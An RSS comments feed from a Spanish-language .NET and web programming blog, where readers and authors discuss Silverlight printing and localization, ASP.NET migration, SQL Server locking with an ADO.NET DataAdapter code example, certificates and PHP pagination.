<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
		>
<channel>
	<title>Comentarios para Programando a medianoche</title>
	<atom:link href="http://www.programandoamedianoche.com/comments/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.programandoamedianoche.com</link>
	<description>Blog de Scientia® Soluciones Informaticas</description>
	<lastBuildDate>Thu, 18 Mar 2010 18:04:35 -0200</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
		<item>
		<title>Comentario de Imprimir con Silverlight 4 beta por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/12/imprimir-con-silverlight-4-beta/comment-page-1/#comment-115</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Thu, 18 Mar 2010 18:04:35 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=812#comment-115</guid>
		<description>No, no imprime el encabezado como con JS, imprime sólo lo que se envia desde Silverlight.
Saludos.</description>
		<content:encoded><![CDATA[<p>No, no imprime el encabezado como con JS, imprime sólo lo que se envia desde Silverlight.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Imprimir con Silverlight 4 beta por Sam</title>
		<link>http://www.programandoamedianoche.com/2009/12/imprimir-con-silverlight-4-beta/comment-page-1/#comment-114</link>
		<dc:creator>Sam</dc:creator>
		<pubDate>Thu, 18 Mar 2010 17:22:16 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=812#comment-114</guid>
		<description>Consulta, como sale impreso el documento? es como lo hace javascript con el encabezado del navegador? gracias muy buen contenido</description>
		<content:encoded><![CDATA[<p>Consulta, como sale impreso el documento? es como lo hace javascript con el encabezado del navegador? gracias muy buen contenido</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Deshabilitar controles de la página hasta que finalicen los UpdatePanels por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2008/06/deshabilitar-controles-de-la-pagina-hasta-que-finalicen-los-updatepanels/comment-page-1/#comment-113</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Fri, 05 Feb 2010 13:51:17 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=6#comment-113</guid>
		<description>Te he respondido a esta consulta en nuestro foro: &lt;a href=&quot;http://foro.scientia.com.ar/viewtopic.php?f=7&amp;t=2380&quot; rel=&quot;nofollow&quot;&gt;http://foro.scientia.com.ar/viewtopic.php?f=7&amp;t=2380&lt;/a&gt;.
Saludos.</description>
		<content:encoded><![CDATA[<p>Te he respondido a esta consulta en nuestro foro: <a href="http://foro.scientia.com.ar/viewtopic.php?f=7&amp;t=2380" rel="nofollow">http://foro.scientia.com.ar/viewtopic.php?f=7&amp;t=2380</a>.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Globalización y localización en Silverlight por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2010/01/globalizacion-y-localizacion-en-silverlight/comment-page-1/#comment-112</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Thu, 04 Feb 2010 12:23:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=829#comment-112</guid>
		<description>El proyecto está desarrollado con Silverlight 3.  ¿Qué parte del código no te funciona?  ¿Pudiste ejecutar el ejemplo que dejé para desacargarse?
Saludos.</description>
		<content:encoded><![CDATA[<p>El proyecto está desarrollado con Silverlight 3.  ¿Qué parte del código no te funciona?  ¿Pudiste ejecutar el ejemplo que dejé para desacargarse?<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Globalización y localización en Silverlight por Jesus Sanchez</title>
		<link>http://www.programandoamedianoche.com/2010/01/globalizacion-y-localizacion-en-silverlight/comment-page-1/#comment-111</link>
		<dc:creator>Jesus Sanchez</dc:creator>
		<pubDate>Thu, 04 Feb 2010 03:31:37 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=829#comment-111</guid>
		<description>Buenas amigo, disculpa tengo una pregunta. ¿Para que versión de silverlight es este articulo? 
Actualmente estoy desarrollando aplicaciones con la version 3 de silverlight y me da un problema con esta parte del codigo que expones:




¿Tienes alguna idea de por que no me funciona?

Muchas gracias por tu atención</description>
		<content:encoded><![CDATA[<p>Buenas amigo, disculpa tengo una pregunta. ¿Para que versión de silverlight es este articulo?<br />
Actualmente estoy desarrollando aplicaciones con la version 3 de silverlight y me da un problema con esta parte del codigo que expones:</p>
<p>¿Tienes alguna idea de por que no me funciona?</p>
<p>Muchas gracias por tu atención</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Deshabilitar controles de la página hasta que finalicen los UpdatePanels por refugio13</title>
		<link>http://www.programandoamedianoche.com/2008/06/deshabilitar-controles-de-la-pagina-hasta-que-finalicen-los-updatepanels/comment-page-1/#comment-110</link>
		<dc:creator>refugio13</dc:creator>
		<pubDate>Wed, 27 Jan 2010 17:02:03 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=6#comment-110</guid>
		<description>Hola,

No se si me podran ayudar. Por si acaso les comento:

Tengo una pantalla de mantenimiento en asp.net(vb) y Atlas. Y tengo que migrarla a ajax. He encontrado algunos manuales para ello(http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/ajax/documentation/Migration_Guide_CTP_to_RTM.aspx), pero despues de cambiar todo lo que se supone me da el siguiente error:

Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. 

Parser Error Message: Could not load file or assembly &#039;Microsoft.Web.Preview&#039; or one of its dependencies. The system cannot find the file specified.

Esto es por que no tengo esas dll-s. Donde puedo conseguirlas?
De todas maneras me gustaria saber si tienen o me podrian decir mas claramente como cambiar de atlas a ajax (mi nivel de ingles es bastante bajo, por lo cual mis modificaciones han sido un poco a ojo)

Muchas gracias, un Saludo

Refugio13</description>
		<content:encoded><![CDATA[<p>Hola,</p>
<p>No se si me podran ayudar. Por si acaso les comento:</p>
<p>Tengo una pantalla de mantenimiento en asp.net(vb) y Atlas. Y tengo que migrarla a ajax. He encontrado algunos manuales para ello(http://www.asp.net/(S(ywiyuluxr3qb2dfva1z5lgeg))/ajax/documentation/Migration_Guide_CTP_to_RTM.aspx), pero despues de cambiar todo lo que se supone me da el siguiente error:</p>
<p>Description: An error occurred during the parsing of a resource required to service this request. Please review the following specific parse error details and modify your source file appropriately. </p>
<p>Parser Error Message: Could not load file or assembly &#8216;Microsoft.Web.Preview&#8217; or one of its dependencies. The system cannot find the file specified.</p>
<p>Esto es por que no tengo esas dll-s. Donde puedo conseguirlas?<br />
De todas maneras me gustaria saber si tienen o me podrian decir mas claramente como cambiar de atlas a ajax (mi nivel de ingles es bastante bajo, por lo cual mis modificaciones han sido un poco a ojo)</p>
<p>Muchas gracias, un Saludo</p>
<p>Refugio13</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Transacciones y modos de aislamiento en SQL Server y .NET por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2009/04/transacciones-y-modos-de-aislamiento-en-sql-server-y-adonet/comment-page-1/#comment-109</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Thu, 14 Jan 2010 21:05:20 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=278#comment-109</guid>
		<description>Muchas gracias por consultar y perdón por la demora, voy a intentar ir contestando por punto.

1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.

Alguna vez y hace unos cuantos años tuve la oportunidad de conocer un proyecto hecho en VB6.0 con SQLServer 7.0 donde los bloqueos eran manejados completamente a mano y eran pesimistas, esto se lograba de la siguiente manera;
Las tablas poseian un registro extra denominado UserId (Id de usuario) donde cuando un usuario tomaba un registro su Id se grababa en ese campo y se pasaba a NULL cuando el mismo era liberado. Este esquema de
funcionamiento permitía manejar los bloqueos ya que cuando un usuario quería acceder a un registro, la aplicación podía saber si el mismo se encontraba bloqueado o no leyendo el campo UserId. Este modo de funcionamiento
añadía a los problemas clásicos de escalabilidad que poseen los bloqueos pesimistas nuevos problemas propios de la implementación, ya que si un usuario abandonaba la aplicación inesperadamente el registro quedaba bloquedo y aunque es
posible encontrar métodos para evitar este problema, mi punto de vista es que no es para nada recomendable utilizar bloqueos.    

2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

Un DataAdapter es un objeto que te va a permitir leer datos de un source y moverlos a memoria en un DataSet y efectuar también el paso contrario, o sea moverlos nuevamente al source luego de haberlos modificado en memoria, el método
Fill va a transferir los datos del source a memoria y el método Update va a leer los datos de memoria y los va a transferir nuevamente al source, por lo que el funcionamiento por defecto es el comportamiento &quot;el último gana&quot;, 
para probarlo podés crear una tabla simple en SQL Server, te dejo un ejemplo:
 

CREATE TABLE [dbo].[Datos1](
	[ID] [int] NOT NULL,
	[Numero] [int] NOT NULL,
	[Descripcion] [nvarchar](50) NOT NULL
) ON [PRIMARY]


y utilizar el siguiente código

        SqlConnection SqlCn = new SqlConnection(WebConfigurationManager.ConnectionStrings[&quot;Cn1&quot;].ConnectionString);
        SqlCn.Open();

        //DataAdapter
        SqlDataAdapter SqlDa = new SqlDataAdapter(&quot;SELECT * FROM Datos1&quot;, SqlCn);
        SqlDa.AcceptChangesDuringUpdate = true; 
 
        //Comando para actualización
        SqlCommand command = new SqlCommand(&quot;UPDATE Datos1 SET Descripcion = @Descripcion WHERE ID = @ID&quot;, SqlCn);

        //Parámetro Descripcion
        SqlParameter parameterDesc = command.Parameters.Add(&quot;@Descripcion&quot;, SqlDbType.NVarChar, 50);
        parameterDesc.SourceVersion = DataRowVersion.Current;
        parameterDesc.SourceColumn = &quot;Descripcion&quot;;

        //Parámetro ID
        SqlParameter parameterID = command.Parameters.Add(&quot;@ID&quot;, SqlDbType.Int);
        parameterID.SourceVersion = DataRowVersion.Original;
        parameterID.SourceColumn = &quot;ID&quot;;
        SqlDa.UpdateCommand = command;

        //Lectura de datos
        DataSet DataSetD1 = new DataSet();
        SqlDa.Fill(DataSetD1, &quot;TableDatos1&quot;);

        //Actualización en memoria
        foreach (DataRow DtRow in DataSetD1.Tables[0].Rows)
             DtRow[&quot;Descripcion&quot;] = DtRow[&quot;Descripcion&quot;] + &quot;Z&quot;;

        //Actualización en la base de datos
        SqlDa.Update(DataSetD1.Tables[&quot;TableDatos1&quot;]);

Donde básicamente se modifica el valor del campo Descripcion para todos los registros, si ponés un break point en la última sentencia &quot;SqlDa.Update(DataSetD1.Tables[&quot;TableDatos1&quot;]);&quot; y antes que se ejecute vas a un query analizer
y ejecutás lo siguiente:

	update Datos1 set Descripcion = Descripcion + &#039;i&#039;

antes de ejecutar la sentencia SqlDa.Update(DataSetD1.Tables[&quot;TableDatos1&quot;]); desde VS vas a ver que todos los registros poseen una &quot;i&quot; al final del campo Descripción, pero si luego presionas F5 en VS y ejecutás la sentencia
SqlDa.Update(DataSetD1.Tables[&quot;TableDatos1&quot;]); vas a notar que el cambio hecho desde el query analizer se ha perdido, ya que el update ha tomado los valores de memoria del DataSet (que aún no tenian el caracter i agregado) y los ha transferido al SQL, 
si haciendo la misma prueba borrás un registro desde el Query Analizer, vas a notar que se produce un error en la sentencia SqlDa.Update(DataSetD1.Tables[&quot;TableDatos1&quot;]); ya que no podrá actualizar registros que han sido eliminados externamente, en este caso te quedarán
algunos registros modificados (previos al error) o otros no (los sucesivos al error).


3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

De esto podrás pasarme un poco de código para entender como sería el caso.

4. ¿Como puedo implementar el bloqueo de tipo &quot;el último gana&quot;?

Este tipo de funcionamiento es el más sencillo de utilizar ya que podés leer la información necesaria de la base de datos, cortar la conexión, modificar la informacíon en forma desconectada y 
reenviar las modificaciones al servidor de base de datos en una nueva conexion (en una transaccion si hay varias tablas involucradas). En este esquema, si dos usuarios leen la misma información el último en grabar es quien
preservará sus cambios. 
Fuera de los puntos anteriores, para una aplicación actual y sin utilizar frameworks de entidades y esas cosas que estan tan de moda actualmente, yo particularmente pensaría en dos enfoques posibles, el enfoque &quot;el último gana&quot; y el enfoque &quot;optimista&quot;, 
dejando las transacciones para los casos donde haya varias tablas involucradas en una misma entidad. El enfoque &quot;el último gana&quot; es como te comentaba previamente mientras que para el enfoque optimista, podés incluir una columna extra con un numero de versión, 
al momento de actualizar los datos leidos previamente deberías verificar que el numero de versíon actual sea el mismo que leistes previamente, en caso afirmativo podrás modificar los datos incrementando el numero de version de la columna, en caso negativo deberás tomar alguna acción ya que la información ha sido
modificada externamente. Otra opción es en lugar de utilizar una columna version, emplear una columna datestamp para comparar contra fechas.        

5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?

Si, para que el motor de base de datos pueda asegurarte el nivel de aislamiento que le estás pidiendo, el mismo deberá efectuar un tipo de bloqueo determinado, por lo que el tipo de bloqueo dependerá del nivel de aislamiento solicitado.

La verdad esq tengo un poco de &quot;empanada mental&quot; con estos estos conceptos. A ver si me lo puedes aclarar un poco. 

Yo creo que hay dos cosas distintas; 
La primera es que cuando hay varias tablas involucradas a modificar en una misma operación de base de datos deben utilizarse transacciones y el nivel de aislamiento definirá que bloqueos realizará el motor de base de datos en dicha operación y eso es lo que intenta comentar el articulo.
La segunda es qué tipo de bloqueo se debe utilizar en una aplicación para que un usuario no modifique los datos que otro esta modificando paralelamente, creo si no entendí mal que es sobre este tipo de bloqueos sobre los cuales estás interesado, y según mi punto de vista, las opciones son &quot;el último gana&quot; o el enfoque &quot;optimista&quot;. 

Espero que estas repuestas te hayan servido

Saludos!</description>
		<content:encoded><![CDATA[<p>Muchas gracias por consultar y perdón por la demora, voy a intentar ir contestando por punto.</p>
<p>1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.</p>
<p>Alguna vez y hace unos cuantos años tuve la oportunidad de conocer un proyecto hecho en VB6.0 con SQLServer 7.0 donde los bloqueos eran manejados completamente a mano y eran pesimistas, esto se lograba de la siguiente manera;<br />
Las tablas poseian un registro extra denominado UserId (Id de usuario) donde cuando un usuario tomaba un registro su Id se grababa en ese campo y se pasaba a NULL cuando el mismo era liberado. Este esquema de<br />
funcionamiento permitía manejar los bloqueos ya que cuando un usuario quería acceder a un registro, la aplicación podía saber si el mismo se encontraba bloqueado o no leyendo el campo UserId. Este modo de funcionamiento<br />
añadía a los problemas clásicos de escalabilidad que poseen los bloqueos pesimistas nuevos problemas propios de la implementación, ya que si un usuario abandonaba la aplicación inesperadamente el registro quedaba bloquedo y aunque es<br />
posible encontrar métodos para evitar este problema, mi punto de vista es que no es para nada recomendable utilizar bloqueos.    </p>
<p>2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.</p>
<p>Un DataAdapter es un objeto que te va a permitir leer datos de un source y moverlos a memoria en un DataSet y efectuar también el paso contrario, o sea moverlos nuevamente al source luego de haberlos modificado en memoria, el método<br />
Fill va a transferir los datos del source a memoria y el método Update va a leer los datos de memoria y los va a transferir nuevamente al source, por lo que el funcionamiento por defecto es el comportamiento &#8220;el último gana&#8221;,<br />
para probarlo podés crear una tabla simple en SQL Server, te dejo un ejemplo:</p>
<p>CREATE TABLE [dbo].[Datos1](<br />
	[ID] [int] NOT NULL,<br />
	[Numero] [int] NOT NULL,<br />
	[Descripcion] [nvarchar](50) NOT NULL<br />
) ON [PRIMARY]</p>
<p>y utilizar el siguiente código</p>
<p>        SqlConnection SqlCn = new SqlConnection(WebConfigurationManager.ConnectionStrings["Cn1"].ConnectionString);<br />
        SqlCn.Open();</p>
<p>        //DataAdapter<br />
        SqlDataAdapter SqlDa = new SqlDataAdapter(&#8220;SELECT * FROM Datos1&#8243;, SqlCn);<br />
        SqlDa.AcceptChangesDuringUpdate = true; </p>
<p>        //Comando para actualización<br />
        SqlCommand command = new SqlCommand(&#8220;UPDATE Datos1 SET Descripcion = @Descripcion WHERE ID = @ID&#8221;, SqlCn);</p>
<p>        //Parámetro Descripcion<br />
        SqlParameter parameterDesc = command.Parameters.Add(&#8220;@Descripcion&#8221;, SqlDbType.NVarChar, 50);<br />
        parameterDesc.SourceVersion = DataRowVersion.Current;<br />
        parameterDesc.SourceColumn = &#8220;Descripcion&#8221;;</p>
<p>        //Parámetro ID<br />
        SqlParameter parameterID = command.Parameters.Add(&#8220;@ID&#8221;, SqlDbType.Int);<br />
        parameterID.SourceVersion = DataRowVersion.Original;<br />
        parameterID.SourceColumn = &#8220;ID&#8221;;<br />
        SqlDa.UpdateCommand = command;</p>
<p>        //Lectura de datos<br />
        DataSet DataSetD1 = new DataSet();<br />
        SqlDa.Fill(DataSetD1, &#8220;TableDatos1&#8243;);</p>
<p>        //Actualización en memoria<br />
        foreach (DataRow DtRow in DataSetD1.Tables[0].Rows)<br />
             DtRow["Descripcion"] = DtRow["Descripcion"] + &#8220;Z&#8221;;</p>
<p>        //Actualización en la base de datos<br />
        SqlDa.Update(DataSetD1.Tables["TableDatos1"]);</p>
<p>Donde básicamente se modifica el valor del campo Descripcion para todos los registros, si ponés un break point en la última sentencia &#8220;SqlDa.Update(DataSetD1.Tables["TableDatos1"]);&#8221; y antes que se ejecute vas a un query analizer<br />
y ejecutás lo siguiente:</p>
<p>	update Datos1 set Descripcion = Descripcion + &#8216;i&#8217;</p>
<p>antes de ejecutar la sentencia SqlDa.Update(DataSetD1.Tables["TableDatos1"]); desde VS vas a ver que todos los registros poseen una &#8220;i&#8221; al final del campo Descripción, pero si luego presionas F5 en VS y ejecutás la sentencia<br />
SqlDa.Update(DataSetD1.Tables["TableDatos1"]); vas a notar que el cambio hecho desde el query analizer se ha perdido, ya que el update ha tomado los valores de memoria del DataSet (que aún no tenian el caracter i agregado) y los ha transferido al SQL,<br />
si haciendo la misma prueba borrás un registro desde el Query Analizer, vas a notar que se produce un error en la sentencia SqlDa.Update(DataSetD1.Tables["TableDatos1"]); ya que no podrá actualizar registros que han sido eliminados externamente, en este caso te quedarán<br />
algunos registros modificados (previos al error) o otros no (los sucesivos al error).</p>
<p>3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.</p>
<p>De esto podrás pasarme un poco de código para entender como sería el caso.</p>
<p>4. ¿Como puedo implementar el bloqueo de tipo &#8220;el último gana&#8221;?</p>
<p>Este tipo de funcionamiento es el más sencillo de utilizar ya que podés leer la información necesaria de la base de datos, cortar la conexión, modificar la informacíon en forma desconectada y<br />
reenviar las modificaciones al servidor de base de datos en una nueva conexion (en una transaccion si hay varias tablas involucradas). En este esquema, si dos usuarios leen la misma información el último en grabar es quien<br />
preservará sus cambios.<br />
Fuera de los puntos anteriores, para una aplicación actual y sin utilizar frameworks de entidades y esas cosas que estan tan de moda actualmente, yo particularmente pensaría en dos enfoques posibles, el enfoque &#8220;el último gana&#8221; y el enfoque &#8220;optimista&#8221;,<br />
dejando las transacciones para los casos donde haya varias tablas involucradas en una misma entidad. El enfoque &#8220;el último gana&#8221; es como te comentaba previamente mientras que para el enfoque optimista, podés incluir una columna extra con un numero de versión,<br />
al momento de actualizar los datos leidos previamente deberías verificar que el numero de versíon actual sea el mismo que leistes previamente, en caso afirmativo podrás modificar los datos incrementando el numero de version de la columna, en caso negativo deberás tomar alguna acción ya que la información ha sido<br />
modificada externamente. Otra opción es en lugar de utilizar una columna version, emplear una columna datestamp para comparar contra fechas.        </p>
<p>5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?</p>
<p>Si, para que el motor de base de datos pueda asegurarte el nivel de aislamiento que le estás pidiendo, el mismo deberá efectuar un tipo de bloqueo determinado, por lo que el tipo de bloqueo dependerá del nivel de aislamiento solicitado.</p>
<p>La verdad esq tengo un poco de &#8220;empanada mental&#8221; con estos estos conceptos. A ver si me lo puedes aclarar un poco. </p>
<p>Yo creo que hay dos cosas distintas;<br />
La primera es que cuando hay varias tablas involucradas a modificar en una misma operación de base de datos deben utilizarse transacciones y el nivel de aislamiento definirá que bloqueos realizará el motor de base de datos en dicha operación y eso es lo que intenta comentar el articulo.<br />
La segunda es qué tipo de bloqueo se debe utilizar en una aplicación para que un usuario no modifique los datos que otro esta modificando paralelamente, creo si no entendí mal que es sobre este tipo de bloqueos sobre los cuales estás interesado, y según mi punto de vista, las opciones son &#8220;el último gana&#8221; o el enfoque &#8220;optimista&#8221;. </p>
<p>Espero que estas repuestas te hayan servido</p>
<p>Saludos!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Transacciones y modos de aislamiento en SQL Server y .NET por Alex_TS</title>
		<link>http://www.programandoamedianoche.com/2009/04/transacciones-y-modos-de-aislamiento-en-sql-server-y-adonet/comment-page-1/#comment-108</link>
		<dc:creator>Alex_TS</dc:creator>
		<pubDate>Fri, 08 Jan 2010 03:24:30 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=278#comment-108</guid>
		<description>Buen artículo!, lo has explicado con bastante calidad. 

Lo único que te recomendaría es que pusieras un fondo claro bajo el texto, pero el contenido mola. 

Al respecto del tema que has tratado en este artículo, tengo ciertas dudas, son las siguientes:

1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.

2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.

4. ¿Como puedo implementar el bloqueo de tipo &quot;el último gana&quot;?

5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?

La verdad esq tengo un poco de &quot;empanada mental&quot; con estos estos conceptos. A ver si me lo puedes aclarar un poco. 

Gracias y saludos!</description>
		<content:encoded><![CDATA[<p>Buen artículo!, lo has explicado con bastante calidad. </p>
<p>Lo único que te recomendaría es que pusieras un fondo claro bajo el texto, pero el contenido mola. </p>
<p>Al respecto del tema que has tratado en este artículo, tengo ciertas dudas, son las siguientes:</p>
<p>1. Sin hacer uso de transacciones, considerando las operaciones sobre la base de datos a nivel de instrucción; con ADO.NET, ¿como implementarías el bloqueo pesimista?.</p>
<p>2. Si por ejemplo empleo un DataAdapter (o TableAdapter) para realizar operaciones sobre la base de datos, ¿qué tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.</p>
<p>3. Si por el contrario realizo las operaciones con un objeto de tipo OleDbCommand, en un escenario conectado, ¿que tipo de bloqueo se aplica por defecto?, ¿como lo puedo modificar sin emplear transacciones?.</p>
<p>4. ¿Como puedo implementar el bloqueo de tipo &#8220;el último gana&#8221;?</p>
<p>5. Cuando se emplean transacciones, ¿los niveles de aislamiento definen el tipo de bloqueo?</p>
<p>La verdad esq tengo un poco de &#8220;empanada mental&#8221; con estos estos conceptos. A ver si me lo puedes aclarar un poco. </p>
<p>Gracias y saludos!</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Utilizar certificados digitales desde .NET por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/08/utilizar-certificados-digitales-desde-net/comment-page-1/#comment-107</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Tue, 22 Dec 2009 16:30:42 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=570#comment-107</guid>
		<description>Hola, Juan!  Te pido disculpas por la tardanza, pero estuvimos muy ocupados las últimas semanas.
Sobre el tema del archivo .p12, en este artículo del MSDN &lt;a href=&quot;http://msdn.microsoft.com/en-us/library/ms867088.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/ms867088.aspx&lt;/a&gt; habla sobre cómo utilizar los archivos pfx/p12 desde .NET.
Espero que te sea de utilidad.
Saludos.</description>
		<content:encoded><![CDATA[<p>Hola, Juan!  Te pido disculpas por la tardanza, pero estuvimos muy ocupados las últimas semanas.<br />
Sobre el tema del archivo .p12, en este artículo del MSDN <a href="http://msdn.microsoft.com/en-us/library/ms867088.aspx" rel="nofollow">http://msdn.microsoft.com/en-us/library/ms867088.aspx</a> habla sobre cómo utilizar los archivos pfx/p12 desde .NET.<br />
Espero que te sea de utilidad.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Paginación en PHP orientada a objetos por Dario Krapp</title>
		<link>http://www.programandoamedianoche.com/2008/10/paginacion-en-php-orientada-a-objetos/comment-page-1/#comment-106</link>
		<dc:creator>Dario Krapp</dc:creator>
		<pubDate>Thu, 03 Dec 2009 15:14:34 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=61#comment-106</guid>
		<description>Muchas gracias Derleth, espero que te sirva y que puedas adaptarlo a tus necesidades</description>
		<content:encoded><![CDATA[<p>Muchas gracias Derleth, espero que te sirva y que puedas adaptarlo a tus necesidades</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Paginación en PHP orientada a objetos por Derleth</title>
		<link>http://www.programandoamedianoche.com/2008/10/paginacion-en-php-orientada-a-objetos/comment-page-1/#comment-105</link>
		<dc:creator>Derleth</dc:creator>
		<pubDate>Thu, 03 Dec 2009 01:33:32 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=61#comment-105</guid>
		<description>me gusto mucho mucho mucho :)</description>
		<content:encoded><![CDATA[<p>me gusto mucho mucho mucho <img src='http://www.programandoamedianoche.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Llamar a funciones de JavaScript desde Silverlight y a métodos de Silverlight desde JavaScript por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/01/llamar-a-funciones-javascript-desde-silverlight-y-a-silverlight-desde-javascript/comment-page-1/#comment-104</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 30 Nov 2009 15:32:45 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=235#comment-104</guid>
		<description>Me alegro que haya funcionado. Cabe mencionar que en Silverlight 4 (cuya primer beta fue liberada hace unos días) existe el control &lt;em&gt;WebBrowser&lt;/em&gt; que crea un navegador dentro del XAML, algo parecido a lo que estás haciendo con el control &lt;em&gt;HtmlHost&lt;/em&gt; y la etiqueta &lt;em&gt;IFRAME&lt;/em&gt;.
Si deseas más información sobre Silverlight 4, en este artículo tienes varios enlaces interesantes: &lt;a&gt;http://www.programandoamedianoche.com/2009/11/silverlight-4-beta&lt;/a&gt;.
Saludos.</description>
		<content:encoded><![CDATA[<p>Me alegro que haya funcionado. Cabe mencionar que en Silverlight 4 (cuya primer beta fue liberada hace unos días) existe el control <em>WebBrowser</em> que crea un navegador dentro del XAML, algo parecido a lo que estás haciendo con el control <em>HtmlHost</em> y la etiqueta <em>IFRAME</em>.<br />
Si deseas más información sobre Silverlight 4, en este artículo tienes varios enlaces interesantes: <a>http://www.programandoamedianoche.com/2009/11/silverlight-4-beta</a>.<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Eduard</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-102</link>
		<dc:creator>Eduard</dc:creator>
		<pubDate>Mon, 30 Nov 2009 14:42:43 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-102</guid>
		<description>Buenas,

de nada! Sólo corregir un error, en el ejemplo que dí, es &lt;strong&gt;objParametros.ReferencedAssemblies.Add(&quot;System.dll&quot;)&lt;/strong&gt;, por supuesto.</description>
		<content:encoded><![CDATA[<p>Buenas,</p>
<p>de nada! Sólo corregir un error, en el ejemplo que dí, es <strong>objParametros.ReferencedAssemblies.Add(&#8220;System.dll&#8221;)</strong>, por supuesto.</p>
]]></content:encoded>
	</item>
	<item>
		<title>Comentario de Cómo crear una clase dinámicamente y ejecutarla por Gustavo Cantero (The Wolf)</title>
		<link>http://www.programandoamedianoche.com/2009/11/crear-una-clase-dinamicamente-y-ejecutarla/comment-page-1/#comment-101</link>
		<dc:creator>Gustavo Cantero (The Wolf)</dc:creator>
		<pubDate>Mon, 30 Nov 2009 14:29:53 +0000</pubDate>
		<guid isPermaLink="false">http://www.programandoamedianoche.com/?p=755#comment-101</guid>
		<description>Muchas gracias por tu aporte, Eduard!
Saludos.</description>
		<content:encoded><![CDATA[<p>Muchas gracias por tu aporte, Eduard!<br />
Saludos.</p>
]]></content:encoded>
	</item>
	<item>
